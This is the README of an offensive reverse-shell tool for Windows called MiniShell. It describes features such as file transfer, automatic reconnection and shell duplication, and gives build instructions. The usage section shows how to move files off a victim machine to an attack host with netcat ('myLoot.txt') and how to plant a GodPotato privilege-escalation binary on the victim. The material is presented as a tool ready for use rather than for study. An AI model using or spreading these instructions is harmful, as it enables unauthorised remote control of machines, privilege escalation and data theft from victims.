MiniShell

A reverse shell for Windows systems that brings some convenience features. Among them are:

• file transfer
• automatic reconnection attempt on connection loss
• easy duplication of established shells
• easy choice/switch between cmd and powershell command interpreter
• features can be chosen at build time (can be stripped down to a minimal shell without extra features)

Usage

MiniShell provides so-called meta-commands. These start with a colon (":"). Currently the supported meta-commands are:

• :exit - kill the shell (it doesn't come back)
• :dup [[<host>] <port>] - send a duplicate of the current shell (default to the same endpoint it is already connected to)
• :c ps - connect to a new powershell command interpreter (useful if current command hangs)
• :c cmd - same as above but with cmd
• :get [[<host>] <port>] <reomote-file> - read the contents of <remote-file> and send it to <host>:<port> (by default the same endpoint already connected to)
  • e.g. catch file on attack host like this: nc -l 80 > myLoot.txt
• :put [[<host>] <port>] <remote-file> - read file from <host>:<port> and write to <remote-file> (by default the same endpoint already connected to)
  • e.g. send file like this: cat GodPotato-NET4.exe | nc -q 1 -lp 80
  • then retrieve file on victim like this :put C:\windows\temp\pwn\GodPotato.exe (assuming your shell is connected to port 80, otherwise specify port)

Build

• using Visual Studio 2022

.NET executable

• preferably set target framework at net46 since this should work for most Windows 10 and newer system out of the box

Build release version (recommended)

• smaller than debug
• debug output disabled (doesn't matter much for regular use)

MSBuild.exe .\MiniShell.sln /p:Configuration=Release

Build debug version

MSBuild.exe .\MiniShell.sln /p:Configuration=Debug

Native executable

• should work on Windows systems without .NET runtime (pre Windows 10), but binaries are much larger than .NET binaries
• uses the ahead-of-time compilation feature of .NET 7+ (https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?tabs=net7%2Cwindows)
• set target framework to net8 (in MiniShell.csproj) before building

Build release version (recommended)

• recommended since it saves about half in size

dotnet publish -r win-x64 -c Release -f net8 -p:PublishAot=true --self-contained

Build debug version

dotnet publish -r win-x64 -c Debug -f net8 -p:PublishAot=true --self-contained